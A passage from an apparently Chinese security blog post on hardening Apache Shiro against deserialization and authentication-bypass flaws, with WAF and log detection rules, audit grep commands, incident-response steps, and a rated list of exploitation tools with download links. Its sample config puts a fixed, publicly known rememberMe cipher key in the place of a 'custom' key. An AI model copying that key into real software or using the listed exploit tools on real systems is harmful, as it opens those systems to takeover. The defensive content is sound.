    <artifactId>shiro-core</artifactId>
    <version>1.12.0</version>
</dependency>

4.2 密钥安全

生成随机密钥:

// 生成 128/256 位随机密钥
byte[] keyBytes = new byte[16]; // 128位
new SecureRandom().nextBytes(keyBytes);
String base64Key = Base64.encodeToString(keyBytes);
System.out.println("AES Key: " + base64Key);

配置密钥:

# shiro.ini
[main]
# 使用自定义密钥
rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==

# 或者使用 KeyGenerator
credentialsMatcher.hashIterations = 1024
credentialsMatcher.hashAlgorithmName = SHA-256

4.3 关闭 RememberMe

如果不需要记住我功能,建议关闭:

@Bean
public SecurityManager securityManager() {
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    // 禁用 RememberMe
    securityManager.setRememberMeManager(null);
    return securityManager;
}

4.4 反序列化防护

使用白名单:

// 配置反序列化过滤器
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
    ShiroFilterFactoryBean filter = new ShiroFilterFactoryBean();
    
    // 配置安全过滤器
    Map<String, String> filterMap = new HashMap<>();
    filterMap.put("/**", "authc");  // 全部需要认证
    filter.setFilterChainDefinitionMap(filterMap);
    
    return filter;
}

RASP 防护:

// 在 JVM 层面拦截反序列化
Instrumentation instrumentation = ...;
instrumentation.addTransformer(new ClassFileTransformer() {
    @Override
    public byte[] transform(...) {
        // 拦截 ObjectInputStream
        // 检查反序列化类是否在白名单
    }
});

4.5 URL 规范化

统一使用 Spring 的 AntPathMatcher:

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
    ShiroFilterFactoryBean filter = new ShiroFilterFactoryBean();
    
    // 使用 Spring 的路径匹配器
    PathMatchingFilterChainResolver resolver = new PathMatchingFilterChainResolver();
    resolver.setPathMatcher(new AntPathMatcher());
    
    return filter;
}

严格 URL 配置:

# 不要使用通配符配置敏感路径
/admin/** = authc, roles[admin]

# 应该明确配置
/admin/user = authc, roles[admin]
/admin/config = authc, roles[admin]

4.6 WAF 防护规则

ModSecurity 规则示例:

# 检测 Shiro 反序列化攻击
SecRule REQUEST_HEADERS:Cookie "@contains rememberMe=" \
    "id:1001,phase:1,deny,status:403,msg:'Shiro Deserialization Attack Detected'"

# 检测非法 rememberMe Cookie 长度
SecRule REQUEST_HEADERS:Cookie "@rx rememberMe=[A-Za-z0-9+/]{1000,}" \
    "id:1002,phase:1,deny,status:403,msg:'Suspicious Shiro Cookie Length'"

# 检测路径遍历绕过
SecRule REQUEST_URI "@rx /(\\x2e|%2e|%252e)" \
    "id:1003,phase:1,deny,status:403,msg:'Path Traversal Detected'"

Nginx Lua 防护:

-- 检测 rememberMe Cookie
if ngx.var.http_cookie then
    local rememberMe = ngx.var.http_cookie:match("rememberMe=([^;]+)")
    if rememberMe and #rememberMe > 500 then
        -- 记录日志并拦截
        ngx.log(ngx.ERR, "Shiro attack detected from " .. ngx.var.remote_addr)
        ngx.exit(403)
    end
end

4.7 日志监控与告警

需要监控的关键日志:

// 记录所有 rememberMe 反序列化尝试
log.warn("RememberMe cookie deserialization attempted from IP: {}", 
         request.getRemoteAddr());

// 记录失败的 URL 访问
log.warn("Unauthorized access attempt to: {} from IP: {}", 
         request.getRequestURI(), request.getRemoteAddr());

ELK 告警规则:

{
  "query": {
    "bool": {
      "must": [
        { "match": { "message": "rememberMe" }},
        { "range": { "@timestamp": { "gte": "now-5m" }}}
      ]
    }
  }
}

Splunk 搜索:

# 统计 rememberMe 异常请求
index=web source=*access.log* "rememberMe" 
| stats count by clientip, uri 
| where count > 10 
| table clientip, uri, count

五、代码审计检查点

5.1 检查清单

□ Shiro 版本是否 >= 1.7.1
□ rememberMe 是否配置了随机密钥
□ 是否存在硬编码密钥
□ URL 配置是否严格
□ 是否禁用了不必要的功能
□ 反序列化是否有白名单限制

5.2 审计工具

Maven 依赖检查:

# 检查 Shiro 版本
mvn dependency:tree | grep shiro

# 使用 OWASP 检查漏洞
mvn org.owasp:dependency-check-maven:check

源代码审计:

# 搜索硬编码密钥
grep -r "cipherKey" --include="*.java" --include="*.ini" --include="*.xml"

# 搜索 rememberMe 配置
grep -r "rememberMe" --include="*.java" --include="*.ini"

# 搜索危险配置
grep -r "setRememberMeManager" --include="*.java"
grep -r "CookieRememberMeManager" --include="*.java"

IDEA 插件推荐:

  • SonarLint:实时检测安全漏洞
  • OWASP Dependency-Check:检查依赖漏洞
  • SpotBugs:静态代码分析

六、应急响应

6.1 入侵检测

检查是否已被攻击:

# 1. 检查日志中是否有异常的 rememberMe
zgrep -i "rememberMe" /var/log/tomcat*/access_log* | tail -100

# 2. 检查是否包含可疑的 Base64 字符串(长度超过500)
awk -F'rememberMe=' '/rememberMe=/{print $2}' /var/log/tomcat*/access_log* | \
  awk -F';' '{print $1}' | awk 'length > 500'

# 3. 检查系统是否存在后门
find /tmp /var/tmp -name "*.sh" -o -name "*.jsp" -mtime -1 2>/dev/null

# 4. 检查网络连接
netstat -antp | grep ESTABLISHED
ss -antp | grep -v "127.0.0.1"

# 5. 检查定时任务
crontab -l
cat /etc/cron.d/*
ls -la /etc/cron.daily/

Java 进程分析:

# 查找可疑的类加载
jcmd <pid> VM.classloader_stats

# 导出堆内存分析
jmap -dump:format=b,file=/tmp/heap.hprof <pid>

# 使用 MAT 工具分析堆内存
# 查找 org.apache.shiro.mgt.RememberMeManager 实例

6.2 应急处置

紧急止损措施:

# 1. 立即下线应用(或切换到维护页面)
mv webapps/ROOT webapps/ROOT.bak
cp maintenance.html webapps/ROOT/

# 2. 阻断攻击者 IP
iptables -A INPUT -s <attacker_ip> -j DROP

# 3. 清理恶意文件
find / -name "*.jsp" -newer /var/www/ -exec ls -la {} \;
find /tmp -name "*shell*" -exec rm -f {} \;

# 4. 重启应用(清除内存马)
systemctl restart tomcat

恢复步骤:

  1. 升级到最新版本 Shiro
  2. 更换 AES 密钥
  3. 清理所有恶意文件
  4. 全量代码审计
  5. 修改所有用户密码
  6. 重新上线并加强监控

6.3 常用工具对比

工具名称 功能 适用场景 推荐指数
ShiroExploit GUI 利用工具 快速检测与利用 ★★★★★
ysoserial 生成序列化 Payload 自定义利用链 ★★★★★
shiro_attack Python 利用脚本 批量扫描 ★★★★☆
marshalsec JRMP 利用 绕过某些限制 ★★★☆☆
Burp插件 集成到 Burp 渗透测试 ★★★★☆
nuclei 批量漏洞扫描 资产普查 ★★★★★

工具下载地址:

  • ShiroExploit: https://github.com/feihong-cs/ShiroExploit
  • shiro_attack: https://github.com/sv3nbeast/shiro_attack
  • ysoserial: https://github.com/frohoff/ysoserial

七、总结

Apache Shiro 作为 Java 安全框架,虽然功能强大,但历史上多次出现严重安全漏洞。防护要点:

  1. 及时升级:保持使用最新版本(>= 1.12.0)
  2. 密钥管理:使用随机生成的强密钥(256位推荐)
  3. 最小权限:禁用不需要的功能(如 RememberMe)
  4. 严格配置:URL 权限配置要精确,避免绕过
  5. 多层防御:结合 RASP、WAF、日志监控
  6. 应急响应:建立完善的入侵检测和处置流程

安全是持续的过程,而非一次性的配置。


参考资源

官方文档

  • Apache Shiro 官方文档
  • Shiro Security Reports

CVE 详情

  • CVE-2016-4437 - Shiro-550
  • CVE-2019-12422 - Shiro-721
  • CVE-2020-11989 - 权限绕过
  • CVE-2020-13933 - 权限绕过
  • CVE-2020-17510 - 权限绕过
  • CVE-2021-41303 - Shiro-778
  • CVE-2022-40664 - 认证绕过

技术文章

  • Padding Oracle Attack 原理
  • Java 反序列化漏洞基础
  • Shiro 漏洞原理与利用

工具下载

  • ShiroExploit - GUI 利用工具
  • shiro_attack - Python 利用脚本
  • ysoserial - Java 反序列化 Payload 生成
  • nuclei-templates - 扫描模板
  • Burp-Shiro - Burp 插件

免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。使用本文内容造成的任何后果,作者不承担任何责任。

阅读全文 »

某商城代码审计

发表于 2026-01-15 | 分类于 代码审计 |
阅读全文 »
1 2
江流

江流

人生若只如初见,何事悲风秋画扇。

17 日志
13 分类
42 标签
RSS
GitHub 简书
Creative Commons
© 2019 - 2026 江流
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访问数 人次 本站总访问量 次